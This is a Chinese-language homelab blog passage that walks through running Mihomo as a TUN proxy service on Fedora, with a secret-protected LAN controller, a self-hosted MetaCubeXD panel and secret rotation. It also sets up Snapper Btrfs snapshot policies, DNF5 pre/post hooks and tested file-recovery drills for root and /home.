2


Mihomo Meta v1.19.28 linux amd64 with go1.26.5 Wed Jul 8 00:20:38 UTC 2026
Use tags: with_gvisor

官方 RPM 已经提供了 /usr/bin/mihomo、/etc/mihomo/config.yaml、mihomo.service 和 mihomo@.service。其中 mihomo.service 的启动命令是：

1

ExecStart=/usr/bin/mihomo -d /etc/mihomo

unit 还预先限制并授予了 CAP_NET_ADMIN、CAP_NET_RAW 等 capability，足够创建 TUN 和配置路由，不需要自己再写一个权限边界更宽的 root service。

生成实际配置

控制器使用 9091/tcp。执行前用下面的命令确认端口没有被占用：

1

ss -ltn '( sport = :9091 )'

输出只有表头，没有监听项。

先生成一个 256-bit 随机控制器密钥。密钥保存在用户目录中，权限为 0600；博客只记录路径，不记录内容：

1
2
3
4


mkdir -p -m 700 ~/.config/mihomo
secret=$(openssl rand -hex 32)
printf '%s\n' "$secret" > ~/.config/mihomo/controller-secret
chmod 600 ~/.config/mihomo/controller-secret

然后把订阅安装到 /etc/mihomo/config.yaml，权限同样设为 0600，并去掉原文件混用的 CRLF 行尾：

1
2
3


sudo install -d -m 700 /etc/mihomo
sudo install -m 600 ~/AmyTelecom_Clash.yaml /etc/mihomo/config.yaml
sudo sed -i 's/\r$//' /etc/mihomo/config.yaml

最后对配置做了最小修改：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


mode: rule
external-controller: 0.0.0.0:9091
secret: "<随机生成，不公开>"

profile:
 store-selected: true
 store-fake-ip: true

tun:
 enable: true
 stack: mixed
 auto-route: true
 auto-redirect: true
 auto-detect-interface: true
 dns-hijack:
 - any:53
 - tcp://any:53

proxy-groups:
 - name: Proxies
 type: select
 default-selected: "🇯🇵 日本 03"

这里没有把订阅全文放进博客，因为里面包含代理节点凭据和带 token 的 DNS 地址。

校验配置

先把家目录中的原始订阅权限也收紧，再检查三个敏感位置：

1
2
3
4
5
6
7
8
9


chmod 600 ~/AmyTelecom_Clash.yaml

stat -c '%a %U:%G %n' \
 ~/AmyTelecom_Clash.yaml \
 ~/.config/mihomo/controller-secret

sudo stat -c '%a %U:%G %n' \
 /etc/mihomo \
 /etc/mihomo/config.yaml

实际结果：

1
2
3
4


600 veno:veno /home/veno/AmyTelecom_Clash.yaml
600 veno:veno /home/veno/.config/mihomo/controller-secret
700 root:root /etc/mihomo
600 root:root /etc/mihomo/config.yaml

然后运行 Mihomo 自带的配置校验：

1

sudo mihomo -t -d /etc/mihomo

第一次校验时 Mihomo 发现缺少 MMDB，自动完成了下载。最终输出：

1
2
3
4
5
6


INFO Start initial configuration in progress
INFO Geodata Loader mode: memconservative
INFO Geosite Matcher implementation: succinct
INFO Can't find MMDB, start download
INFO Initial configuration complete, total time: 1474ms
configuration file /etc/mihomo/config.yaml test is successful

到这里配置文件已经通过 Mihomo v1.19.28 的真实解析和初始化，不再只是看起来像合法 YAML。

启动 systemd 服务

配置校验通过后，启动服务并设为开机启动：

1

sudo systemctl enable --now mihomo

1
2


Created symlink '/etc/systemd/system/multi-user.target.wants/mihomo.service'
→ '/usr/lib/systemd/system/mihomo.service'.

检查服务状态：

1
2
3


systemctl is-enabled mihomo
systemctl is-active mihomo
systemctl status mihomo --no-pager -l

1
2
3
4
5
6


enabled
active
Active: active (running)
Main PID: 2338 (mihomo)
CGroup: /system.slice/mihomo.service
 └─2338 /usr/bin/mihomo -d /etc/mihomo

启动 TUN 后当前 SSH 会话没有断开。创建出的接口名为 Meta：

1

ip -brief address show Meta

1

Meta UNKNOWN 198.18.0.1/30 fdfe:dcba:9876::1/126

Mihomo 也自动建立了从 9000 开始的 ip rule 和路由表 2022：

1
2


ip rule show | grep -E '900[0-9]|2022'
ip route show table 2022

路由表中的默认路由为：

1

default via 198.18.0.2 dev Meta

控制器与 Cockpit 同时监听，端口没有冲突：

1

ss -ltnp | grep -E ':9091|:9090'

1
2


LISTEN 0 4096 *:9091 *:*
LISTEN 0 4096 *:9090 *:*

验证控制器、模式与默认节点

先不带 secret 请求控制器：

1
2


curl -sS -o /dev/null -w '%{http_code}\n' \
 http://127.0.0.1:9091/version

实际返回 401，说明控制器并不是匿名开放。

再从权限为 0600 的文件读取 secret，请求 API。命令只把 secret 放进当前 shell 变量，不把内容打印到终端：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


secret=$(cat ~/.config/mihomo/controller-secret)

curl -sS -H "Authorization: Bearer $secret" \
 http://127.0.0.1:9091/configs \
 | python3 -c 'import json,sys; d=json.load(sys.stdin); print("mode:", d["mode"]); print("tun.enable:", d["tun"]["enable"])'

curl -sS -H "Authorization: Bearer $secret" \
 http://127.0.0.1:9091/proxies/Proxies \
 | python3 -c 'import json,sys; print("Proxies:", json.load(sys.stdin)["now"])'

unset secret

实际结果：

1
2
3


mode: rule
tun.enable: True
Proxies: 🇯🇵 日本 03

服务刚启动时的真实日志已经同时出现了两种流向：

1
2
3
4
5


dnf5 --> mirror.sjtu.edu.cn:443
match GeoIP(cn) using 🎯Direct[DIRECT]

dnf5 --> rpmfusion.ip-connect.info:443
match Match using ✈️Final[🇯🇵 日本 03]

这证明国内地址确实可以直连，未命中前面规则的境外连接则交给 ✈️Final，最终使用日本 03，而不是把规则模式写进配置后就想当然地宣布完成。

再主动请求一个国内站点和一个境外站点：

1
2
3
4
5


curl -4 -sS -o /dev/null -w 'baidu: %{http_code}\n' \
 https://www.baidu.com/

curl -4 -sS -o /dev/null -w 'google: %{http_code}\n' \
 https://www.google.com/generate_204

1
2


baidu: 200
google: 204

然后从 Mihomo journal 中查找这两个请求：

1
2
3


sudo journalctl -u mihomo --since '2 minutes ago' --no-pager \
 | grep -E 'baidu.com|google.com' \
 | tail -n 6

实际日志：

1
2
3
4
5


[TCP] 198.18.0.1:54192(curl, uid=1000) --> www.baidu.com:443
match DomainSuffix(baidu.com) using 🎯Direct[DIRECT]

[TCP] 198.18.0.1:39388(curl, uid=1000) --> www.google.com:443
match DomainSuffix(google.com) using Google[🇯🇵 日本 03]

这组测试把“规则模式”验证到了具体请求：同一台机器、同一个 TUN，Baidu 直连，Google 经日本 03 代理，两边都成功返回。

放行外部控制器

只在无线网卡所在的 FedoraServer zone 放行控制器端口。DNS 的 1053、HTTP 代理的 7890 和 SOCKS 的 7891 都没有添加到 firewalld：

1
2
3
4
5
6


sudo firewall-cmd --permanent \
 --zone=FedoraServer \
 --add-port=9091/tcp

sudo firewall-cmd --reload
sudo firewall-cmd --zone=FedoraServer --query-port=9091/tcp

三条命令依次输出：

1
2
3


success
success
yes

查看该 zone 直接开放的端口：

1

sudo firewall-cmd --zone=FedoraServer --list-ports

1

9091/tcp

然后从 MacBook 访问 172.16.51.113:9091。不带 secret 时仍然返回 401；从 ThinkPad 上权限受限的文件临时读取 secret 后，认证请求成功：

1
2


unauthenticated: 401
authenticated: {"meta":true,"version":"v1.19.28"}

这说明控制器已经能够从局域网访问，但不是裸奔。之后可以在 MetaCubeX Dashboard 等客户端中填写：

1
2


Controller: http://172.16.51.113:9091
Secret: ~/.config/mihomo/controller-secret 中保存的值

这里的 ~ 指 ThinkPad 上 veno 用户的家目录。控制器 secret 不会出现在文章、Git 仓库或 shell 输出中。

控制器目前是普通 HTTP，Bearer secret 在局域网内传输时没有 TLS 加密，所以只适合可信内网。以后如果要跨不可信网络管理，应该使用 SSH tunnel、VPN，或者按照 Mihomo 文档配置 external-controller-tls，不能直接把 9091 映射到公网。

Firefox 拦截 Mixed Content

我原本准备直接使用官方托管的 MetaCubeXD 面板，填写：

1
2


Backend: http://172.16.51.113:9091
Secret: <controller secret>

但是 Firefox 开发者工具显示请求被标记为 Mixed Block：

用 curl 携带相同的 Origin 和 Authorization 请求控制器却能得到：

1

{"hello":"mihomo"}

这两个结果并不矛盾。curl 不执行浏览器的 Mixed Content 安全策略；Firefox 则在真正发出请求之前，就阻止了 HTTPS 页面访问 HTTP API。因此这不是 Mihomo、secret、CORS 或 firewalld 的错误。

尝试访问 http://d.metacubex.one 也不能解决，因为 GitHub Pages 会返回：

1
2


HTTP/1.1 301 Moved Permanently
Location: https://d.metacubex.one/

Mihomo 官方文档提供了更干净的解决方法：使用 external-ui 把静态面板直接托管在 Clash API 的 /ui 路径。这样面板和 API 都来自 http://172.16.51.113:9091，浏览器不会产生 Mixed Content，而且 secret 不需要交给第三方托管页面。

官方完整配置示例给出的 MetaCubeXD 配置为：

1
2
3


external-ui: ui
external-ui-name: xd
external-ui-url: "https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip"

参考：

在继续操作前还有一件更要紧的事：用于测试的真实 controller secret 曾经出现在聊天内容和 shell 命令中，应当视为已经泄露，不能继续使用。

先在远程 shell 中保留旧 secret 以便稍后验证，然后生成新 secret。命令不会打印二者的内容：

1
2
3
4
5
6
7
8
9


old_secret=$(cat ~/.config/mihomo/controller-secret)
new_secret=$(openssl rand -hex 32)

printf '%s\n' "$new_secret" > ~/.config/mihomo/controller-secret
chmod 600 ~/.config/mihomo/controller-secret

sudo sed -i \
 "s/^secret:.*/secret: \"$new_secret\"/" \
 /etc/mihomo/config.yaml

然后删除可能存在的旧 UI 字段，再追加经过官方文档确认的配置：

1
2
3
4
5
6
7
8
9


sudo sed -i \
 '/^external-ui:/d; /^external-ui-name:/d; /^external-ui-url:/d' \
 /etc/mihomo/config.yaml

printf '%s\n' \
 'external-ui: ui' \
 'external-ui-name: xd' \
 'external-ui-url: "https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip"' \
 | sudo tee -a /etc/mihomo/config.yaml >/dev/null

两个密钥文件没有打印内容，仍保持 0600 权限。修改后的配置再次通过校验：

1
2
3
4
5


INFO Start initial configuration in progress
INFO Geodata Loader mode: memconservative
INFO Geosite Matcher implementation: succinct
INFO Initial configuration complete, total time: 5ms
configuration file /etc/mihomo/config.yaml test is successful

校验通过后重启服务：

1
2


sudo systemctl restart mihomo
systemctl is-active mihomo

实际输出为 active。Mihomo 自动下载并解压了 MetaCubeXD。由于设置了 external-ui-name: xd，访问 /ui/ 看到的是目录：

1

<a href="xd/">xd/</a>

真正的入口是：

1

http://172.16.51.113:9091/ui/xd/

用 curl 检查该地址，返回 HTTP 200、2429 字节，HTML 标题为：

1

<title>MetaCubeXD</title>

最后确认密钥轮换确实生效：

1
2
3
4
5
6
7
8
9


curl -sS -o /dev/null -w 'old secret: %{http_code}\n' \
 -H "Authorization: Bearer $old_secret" \
 http://127.0.0.1:9091/version

curl -sS -o /dev/null -w 'new secret: %{http_code}\n' \
 -H "Authorization: Bearer $new_secret" \
 http://127.0.0.1:9091/version

unset old_secret new_secret

1
2


old secret: 401
new secret: 200

从浏览器打开自托管入口，后端填写 http://172.16.51.113:9091，密钥填写轮换后的值。连接成功后进入 #/overview，面板显示：

1
2
3
4
5


已连接到: http://172.16.51.113:9091
运行模式: 规则
热门代理: 🇯🇵 日本 03
UI v1.267.2 · Core v1.19.28
当前出口: Japan, Tokyo

至此不再需要 https://d.metacubex.one。仍然使用同一个 MetaCubeXD，只是静态资源由自己的 Mihomo 托管；没有 Mixed Content，也不需要把 controller secret 交给第三方页面。

重启验证

最后重启 ThinkPad，验证这套配置不是只能在当前会话里工作：

1

sudo systemctl reboot

第一次重连时网络还没恢复，SSH 超时。再次连接成功后，boot ID 已经变化，并得到：

1
2
3
4


enabled
active
Meta UNKNOWN 198.18.0.1/30
default via 198.18.0.2 dev Meta

这说明 systemd 在新一次启动中自动拉起了 Mihomo，TUN 接口和路由表也重新创建成功。

再次通过本机 API 检查运行状态，并重复国内外连通性测试：

1
2
3
4
5


mode: rule
tun.enable: True
Proxies: 🇯🇵 日本 03
baidu: 200
google: 204

profile.store-selected: true 让日本 03 的选择跨重启保留。最后从 MacBook 再访问一次外部控制器：

1
2


unauthenticated: 401
authenticated: {"meta":true,"version":"v1.19.28"}

至此，Mihomo 已经作为开机服务运行，以 TUN 接管 ThinkPad 的网络，按照订阅规则区分直连和代理流量，默认代理节点为 🇯🇵 日本 03，局域网控制器监听 9091 并要求 secret。SSH 在启动前后均可正常使用。

配置 Btrfs 快照与恢复

我使用 Snapper 管理 Btrfs 快照。这里的目标不是“尽可能多地拍快照”，而是建立一套规模有上限、能自动清理、发生问题时确实知道怎样恢复的方案。

先只读检查实际布局：

1

findmnt -t btrfs -o TARGET,SOURCE,FSTYPE,OPTIONS

得到：

1
2
3
4
5


/ /dev/nvme1n1p3[/root] subvolid=259,subvol=/root
/home /dev/nvme1n1p3[/home] subvolid=258,subvol=/home
/.snapshots /dev/nvme1n1p3[/snapshots] subvolid=256,subvol=/snapshots
/var /dev/nvme1n1p3[/var] subvolid=257,subvol=/var
/srv /dev/nvme0n1p1 subvolid=5,subvol=/

系统盘 Btrfs UUID 是 94c4f2ec-17aa-420f-a87a-6bbec3f57ad9。/etc/fstab 已经把 snapshots 子卷单独挂载到 /.snapshots。

快照边界

只为根子卷 /root 创建名为 root 的 Snapper 配置。

因为 Btrfs 快照不会跨越子卷边界，根快照会包含：

/etc 中的系统配置；
/usr 中由 Fedora 管理的系统程序；
Fedora 当前位于 /usr/lib/sysimage/rpm 的 RPM 数据库；
根子卷中的其他系统状态。

它不会包含：

/home：用户文件和 Nix 用户环境不跟着系统根回滚；
/var：日志、缓存、容器和其他高频写入数据不进入根快照；
/.snapshots：快照仓库自身不会被递归快照；
/srv：服务数据位于另一块 Btrfs 硬盘，需要单独制定快照和备份策略；
/boot 与 /boot/efi：它们分别是 XFS 和 VFAT，不受 Btrfs 快照保护。

这个边界正是安装时拆分子卷的意义。它让根快照保持相对小而稳定，但也意味着“恢复根快照”等于恢复系统配置和软件状态，不等于让整台机器的每一份数据一起穿越回过去。

安装 Snapper 与 DNF5 actions 插件

Fedora 44 仓库当前提供：

1
2


snapper 0.13.0-3.fc44
libdnf5-plugin-actions 5.4.2.1-1.fc44

实际安装。RPM Fusion 镜像此前不稳定，而这两个包都来自 Fedora 官方仓库，所以本次临时禁用 RPM Fusion：

1
2


sudo dnf install --disablerepo='rpmfusion-*' \
 snapper libdnf5-plugin-actions

DNF 安装了 10 个软件包，事务中的两个目标包为：

1
2
3


libdnf5-plugin-actions x86_64 5.4.2.1-1.fc44 updates
snapper x86_64 0.13.0-3.fc44 fedora
完成！

不安装 python3-dnf-plugin-snapper。Fedora 44 默认使用 DNF5，旧 Python 插件属于 DNF4 插件体系，安装后不会自动接入 DNF5 事务。这里使用 Fedora 官方提供的 libdnf5-plugin-actions，通过 DNF5 hook 调用 Snapper。

参考：

让 Snapper 接管现有 snapshots 子卷

snapper --config root create-config / 默认会自己创建 /.snapshots 子卷。但这台机器已经由 Anaconda 创建并挂载了独立的 /snapshots 子卷，直接运行会因为路径已存在而失败。

实际按照下面的顺序处理：临时卸载现有子卷，让 Snapper 创建配置；删除 Snapper 临时创建的 .snapshots；最后把原来的独立子卷挂回来。

1
2
3
4
5
6
7
8


sudo umount /.snapshots
sudo rmdir /.snapshots

sudo snapper --config root create-config /

sudo btrfs subvolume delete /.snapshots
sudo mkdir /.snapshots
sudo mount /.snapshots

create-config 创建的临时子卷确实位于根子卷内部：

1
2
3
4


Name: .snapshots
Subvolume ID: 261
Parent ID: 259
Top level ID: 259

删除时输出：

1

Delete subvolume 261 (no-commit): '//.snapshots'

这里没有修改 /etc/fstab。最后一条 mount /.snapshots 会直接使用安装时已经写好的条目：

1

UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /.snapshots btrfs subvol=snapshots,compress=zstd:1 0 0

创建完成后立即验证：

1
2
3
4


sudo snapper list-configs
sudo snapper --config root get-config
findmnt /.snapshots
sudo btrfs subvolume list /

实际结果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


配置 │ 子卷
─────┼─────
root │ /

/.snapshots /dev/nvme1n1p3[/snapshots] btrfs

Name: snapshots
Subvolume ID: 256
Parent ID: 5
Top level ID: 5

root 配置指向 /，/.snapshots 仍然来自顶层 /snapshots，没有误用根子卷内部的临时 subvolid 261。第一阶段验收通过。

这套处理方法参考 ArchWiki - Snapper: Configuration of snapper and mount point。虽然文章针对 Arch，但这里解决的是 Snapper 与“已经存在的独立 .snapshots 子卷”之间的通用冲突。

保留策略

使用两套 cleanup：

timeline：按小时创建，保留近期密集、远期稀疏的时间点；
number：管理手工快照和 DNF5 的 pre/post 快照对。

实际配置为：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


TIMELINE_CREATE=yes
TIMELINE_CLEANUP=yes
TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=7
TIMELINE_LIMIT_WEEKLY=4
TIMELINE_LIMIT_MONTHLY=6
TIMELINE_LIMIT_QUARTERLY=0
TIMELINE_LIMIT_YEARLY=0

NUMBER_CLEANUP=yes
NUMBER_LIMIT=20
NUMBER_LIMIT_IMPORTANT=10
EMPTY_PRE_POST_CLEANUP=yes

也就是最多保留大约：

最近 10 个小时的小时快照；
最近 7 天每天一个；
最近 4 周每周一个；
最近 6 个月每月一个；
20 个普通 number 快照；
额外保留 10 个标记为 important=yes 的重要快照。

timeline 理论上约 27 个时间点。Snapper 会按小时生成快照，再由 timeline cleanup 从中挑出需要长期保留的日、周、月快照，并不是另外运行日任务、周任务和月任务。

使用 Snapper 自己的 set-config，避免手工替换配置文件中的相似字段：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


sudo snapper --config root set-config \
 'TIMELINE_CREATE=yes' \
 'TIMELINE_CLEANUP=yes' \
 'TIMELINE_LIMIT_HOURLY=10' \
 'TIMELINE_LIMIT_DAILY=7' \
 'TIMELINE_LIMIT_WEEKLY=4' \
 'TIMELINE_LIMIT_MONTHLY=6' \
 'TIMELINE_LIMIT_QUARTERLY=0' \
 'TIMELINE_LIMIT_YEARLY=0' \
 'NUMBER_CLEANUP=yes' \
 'NUMBER_LIMIT=20' \
 'NUMBER_LIMIT_IMPORTANT=10' \
 'EMPTY_PRE_POST_CLEANUP=yes'

检查实际配置：

1
2


sudo snapper --config root get-config \
 | grep -E 'TIMELINE_|NUMBER_|EMPTY_PRE_POST|QGROUP|SPACE_LIMIT|FREE_LIMIT'

关键结果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


EMPTY_PRE_POST_CLEANUP │ yes
NUMBER_CLEANUP │ yes
NUMBER_LIMIT │ 20
NUMBER_LIMIT_IMPORTANT │ 10
QGROUP │
TIMELINE_CLEANUP │ yes
TIMELINE_CREATE │ yes
TIMELINE_LIMIT_DAILY │ 7
TIMELINE_LIMIT_HOURLY │ 10
TIMELINE_LIMIT_MONTHLY │ 6
TIMELINE_LIMIT_QUARTERLY │ 0
TIMELINE_LIMIT_WEEKLY │ 4
TIMELINE_LIMIT_YEARLY │ 0

QGROUP 为空，说明没有意外启用 quota。配置文件中的 SPACE_LIMIT=0.5 和 FREE_LIMIT=0.2 是模板默认值，但在没有 qgroup 时不会执行空间感知清理；实际边界仍然由上面的数量限制提供。

暂时不执行 btrfs quota enable 或 snapper setup-quota。Snapper 的 SPACE_LIMIT 和 FREE_LIMIT 需要 qgroup 才能做空间感知清理，而 qgroup 会增加 Btrfs 的运行成本。根子卷已经排除了 /var、/home 和 /srv，先用明确的数量上限更容易理解和验证。后续如果实际空间增长仍然不可接受，再根据数据决定是否启用 qgroup，而不是为了让配置看起来完整就先打开它。

保留策略依据：

启用时间线与清理定时器

Fedora 的 Snapper 包包含：

1
2
3


snapper-timeline.timer
snapper-cleanup.timer
snapper-boot.timer

只启用 timeline 和 cleanup：

1
2
3


sudo systemctl enable --now \
 snapper-timeline.timer \
 snapper-cleanup.timer

不启用 snapper-boot.timer。每次开机再创建一个快照对这台长期运行的服务器价值有限，小时快照与 DNF 事务快照已经覆盖主要场景。

验证 timer：

1

systemctl list-timers 'snapper-*' --all

实际状态：

1
2


snapper-timeline.timer enabled active
snapper-cleanup.timer enabled active

list-timers 只列出这两个 timer，没有启用 snapper-boot.timer。

创建基线快照

配置完成并验证后，创建一个标记为 important 的基线：

1
2
3
4
5
6


sudo snapper --config root create \
 --type single \
 --cleanup-algorithm number \
 --description 'Fedora 44 homelab baseline' \
 --userdata important=yes \
 --print-number

然后检查：

1

sudo snapper --config root list

create 返回快照编号 1，列表中实际记录为：

1
2


# │ 类型 │ 前期 # │ 用户 │ 清空 │ 描述 │ 用户数据
1 │ single │ │ root │ number │ Fedora 44 homelab baseline │ important=yes

为 DNF5 事务创建 pre/post 快照

DNF5 的 actions 插件读取 /etc/dnf/libdnf5-plugins/actions.d/*.actions。参考 DNF5 官方示例和 Fedora 实践文章，创建：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


sudo install -d -m 0755 /etc/dnf/libdnf5-plugins/actions.d

sudo tee /etc/dnf/libdnf5-plugins/actions.d/snapper.actions >/dev/null <<'EOF'
# Record the DNF5 command as the snapshot description.
pre_transaction::::/usr/bin/sh -c echo\ "tmp.snapper_desc=$(ps\ -o\ command\ --no-headers\ -p\ '${pid}')"

# Create a pre snapshot and pass its number to the post hook.
pre_transaction::::/usr/bin/sh -c echo\ "tmp.snapper_pre_number=$(/usr/bin/snapper\ --config\ root\ create\ --type\ pre\ --print-number\ --cleanup-algorithm\ number\ --description\ '${tmp.snapper_desc}')"

# Pair the post snapshot with the pre snapshot, then clear temporary variables.
post_transaction::::/usr/bin/sh -c [\ -n\ "${tmp.snapper_pre_number}"\ ]\ &&\ /usr/bin/snapper\ --config\ root\ create\ --type\ post\ --pre-number\ "${tmp.snapper_pre_number}"\ --cleanup-algorithm\ number\ --description\ "${tmp.snapper_desc}";\ echo\ tmp.snapper_pre_number\ ;\ echo\ tmp.snapper_desc
EOF

相比参考文章，这里显式加入 --cleanup-algorithm number。否则 DNF 创建的 pre/post 快照在 Snapper 列表中没有 cleanup 类型，不会受到 NUMBER_LIMIT 管理，时间久了仍然可能无限累积。

用一次无功能变化的 Snapper 重装来验证 hook。RPM Fusion 仍与本次事务无关，所以继续临时禁用：

1
2


sudo dnf reinstall --disablerepo='rpmfusion-*' snapper
sudo snapper --config root list

DNF 事务完成后，Snapper 列表新增：

1
2
3


# │ 类型 │ 前期 # │ 清空 │ 描述
2 │ pre │ │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper
3 │ post │ 2 │ number │ dnf reinstall --disablerepo=rpmfusion-* snapper

#3 正确关联 Pre #2，描述包含真实 DNF 命令，二者的 Cleanup 都是 number。DNF5 actions 的语法、临时变量传递和自动清理标签均通过实测。

实际演练单文件恢复

快照系统必须做一次恢复演练。创建 pre 快照、写入一个临时文件、创建 post 快照，再用 Snapper 撤销这项变化：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


pre=$(sudo snapper --config root create \
 --type pre \
 --print-number \
 --cleanup-algorithm number \
 --description 'snapper recovery smoke test')

printf '%s\n' 'this file should be removed by snapper' \
 | sudo tee /etc/snapper-recovery-test >/dev/null

post=$(sudo snapper --config root create \
 --type post \
 --pre-number "$pre" \
 --print-number \
 --cleanup-algorithm number \
 --description 'snapper recovery smoke test')

sudo snapper --config root status "$pre..$post"
sudo snapper --config root diff "$pre..$post" \
 /etc/snapper-recovery-test

sudo snapper --config root undochange "$pre..$post" \
 /etc/snapper-recovery-test

test ! -e /etc/snapper-recovery-test
sudo snapper --config root delete "$pre" "$post"

实际创建的 pre 是 #4，post 是 #5。status 与 diff 输出：

1
2
3
4


+..... /etc/snapper-recovery-test

@@ -0,0 +1 @@
+this file should be removed by snapper

执行 undochange：

1
2


创建：0 修订：0 删除：1
recovery test: PASS (file removed)

文件确实消失，单文件恢复通过实测。最后删除 #4/#5，不给正式时间线留下测试垃圾。

日常恢复时会先只读检查，再执行撤销：

1
2
3
4


sudo snapper --config root list
sudo snapper --config root status SNAPSHOT..0
sudo snapper --config root diff SNAPSHOT..0 /etc/example.conf
sudo snapper --config root undochange SNAPSHOT..0 /etc/example.conf

完整根子卷恢复方案

不会直接把 snapper rollback SNAPSHOT 当作这台机器的恢复命令。

Snapper 手册中的 rollback 会创建新快照并修改 Btrfs 默认子卷，前提是系统按默认子卷启动。但 Fedora 的 /etc/fstab 明确写了 subvol=root，/boot 又在独立 XFS 分区上。修改默认子卷不等于 Fedora 一定会从它启动。在没有做过实机演练前，把 openSUSE 的 rollback 流程原样搬过来风险太高。

完整根恢复计划是在 Fedora Live USB 或 rescue 环境中直接替换顶层的 root 子卷。假设要恢复快照 SNAPSHOT：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


sudo mkdir -p /mnt/fedora
sudo mount -o subvolid=5 \
 UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 \
 /mnt/fedora

stamp=$(date +%Y%m%d-%H%M%S)
sudo mv /mnt/fedora/root \
 "/mnt/fedora/root-broken-$stamp"

sudo btrfs subvolume snapshot \
 "/mnt/fedora/snapshots/SNAPSHOT/snapshot" \
 /mnt/fedora/root

sudo btrfs property set /mnt/fedora/root ro false
sudo btrfs subvolume show /mnt/fedora/root
sudo umount /mnt/fedora
sudo reboot

fstab 仍然挂载名为 root 的子卷，所以不需要修改 subvolume ID。旧的损坏根先改名保留，不立即删除；只有新根启动、服务和数据都验证正常后，才考虑清理 root-broken-*。

如果恢复后的根无法启动，可以回到 Live 环境撤销重命名：

1
2


sudo mv /mnt/fedora/root /mnt/fedora/root-rollback-failed
sudo mv /mnt/fedora/root-broken-TIMESTAMP /mnt/fedora/root

完整回滚还有几个明确限制：

/boot 不在快照中。回滚系统包后，如遇内核或 initramfs 不匹配，先从 GRUB 选择仍保留的旧内核；
/var 不回滚。日志、缓存、容器状态和位于 /var 的服务数据保持当前状态；
/home 与 /srv 不回滚；
Snapper 快照与原数据仍在同一块 SSD 上，无法应对硬盘损坏、整机丢失或误操作整个文件系统。

因此恢复层次会是：

单个配置文件出错：diff 后 undochange；
DNF 事务或大范围系统配置损坏：评估后在 Live 环境替换根子卷；
磁盘或整机故障：依赖以后建立的异机备份，而不是 Snapper。

参考：

为 /home 增加独立快照

根快照配置完成后，我决定也为独立的 /home 子卷建立 Snapper 时间线。

/home 是 subvolid 258 的独立 Btrfs 子卷，不会包含在 root 快照中。这里单独创建名为 home 的 Snapper 配置：

1

sudo snapper --config home create-config /home

命令执行成功，snapper list-configs 现在包含：

1
2
3
4


配置 │ 子卷
─────┼──────
home │ /home
root │ /

与根目录不同，/home 下面目前没有预先创建的 .snapshots 子卷，因此直接让 Snapper 创建 /home/.snapshots。它是 /home 的子子卷，Btrfs 对 /home 拍快照时不会递归包含快照仓库本身。

按照“空间充足，但仍然必须有明确上限”的原则，保留策略为：

最近 24 小时：每小时 1 个；
最近 14 天：每天 1 个；
最近 8 周：每周 1 个；
最近 6 个月：每月 1 个；
不保留季度和年度快照。

timeline 最终约保留 52 个时间点。配置命令：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


sudo snapper --config home set-config \
 'TIMELINE_CREATE=yes' \
 'TIMELINE_CLEANUP=yes' \
 'TIMELINE_LIMIT_HOURLY=24' \
 'TIMELINE_LIMIT_DAILY=14' \
 'TIMELINE_LIMIT_WEEKLY=8' \
 'TIMELINE_LIMIT_MONTHLY=6' \
 'TIMELINE_LIMIT_QUARTERLY=0' \
 'TIMELINE_LIMIT_YEARLY=0' \
 'NUMBER_CLEANUP=yes' \
 'NUMBER_LIMIT=20' \
 'NUMBER_LIMIT_IMPORTANT=10' \
 'EMPTY_PRE_POST_CLEANUP=yes'

实际配置值：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


SUBVOLUME │ /home
QGROUP │
TIMELINE_CREATE │ yes
TIMELINE_CLEANUP │ yes
TIMELINE_LIMIT_HOURLY │ 24
TIMELINE_LIMIT_DAILY │ 14
TIMELINE_LIMIT_WEEKLY │ 8
TIMELINE_LIMIT_MONTHLY │ 6
TIMELINE_LIMIT_QUARTERLY │ 0
TIMELINE_LIMIT_YEARLY │ 0
NUMBER_CLEANUP │ yes
NUMBER_LIMIT │ 20
NUMBER_LIMIT_IMPORTANT │ 10

/home/.snapshots 的实际 Btrfs 信息：

1
2
3
4
5


Name: .snapshots
Subvolume ID: 267
Parent ID: 258
Top level ID: 258
Quota group: n/a

不为 home 配置 DNF5 pre/post hook。软件包事务只改变系统根，DNF 快照继续使用 root 配置；home 只接受 timeline、important 基线和明确创建的手工快照。

全局的 snapper-timeline.timer 和 snapper-cleanup.timer 已经启用，它们会遍历所有 Snapper 配置，因此不需要为 home 新建另一组 timer。

创建一个 home 基线：

1
2
3
4
5
6


sudo snapper --config home create \
 --type single \
 --cleanup-algorithm number \
 --description 'Home baseline before Nix' \
 --userdata important=yes \
 --print-number

返回快照编号 1：

1
2


# │ 类型 │ 清空 │ 描述 │ 用户数据
1 │ single │ number │ Home baseline before Nix │ important=yes

最后做一次独立于根配置的恢复演练：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


pre=$(sudo snapper --config home create \
 --type pre \
 --print-number \
 --cleanup-algorithm number \
 --description 'home recovery smoke test')

printf '%s\n' 'this home file should be removed by snapper' \
 > /home/veno/.snapper-home-recovery-test

post=$(sudo snapper --config home create \
 --type post \
 --pre-number "$pre" \
 --print-number \
 --cleanup-algorithm number \
 --description 'home recovery smoke test')

sudo snapper --config home status "$pre..$post"
sudo snapper --config home diff "$pre..$post" \
 /home/veno/.snapper-home-recovery-test

sudo snapper --config home undochange "$pre..$post" \
 /home/veno/.snapper-home-recovery-test

test ! -e /home/veno/.snapper-home-recovery-test
sudo snapper --config home delete "$pre" "$post"

实际创建的 pre 是 #2，post 是 #4。编号中间跳过 #3，是因为演练期间正好跨过整点，timeline timer 自动创建了第一份 home 时间线快照。

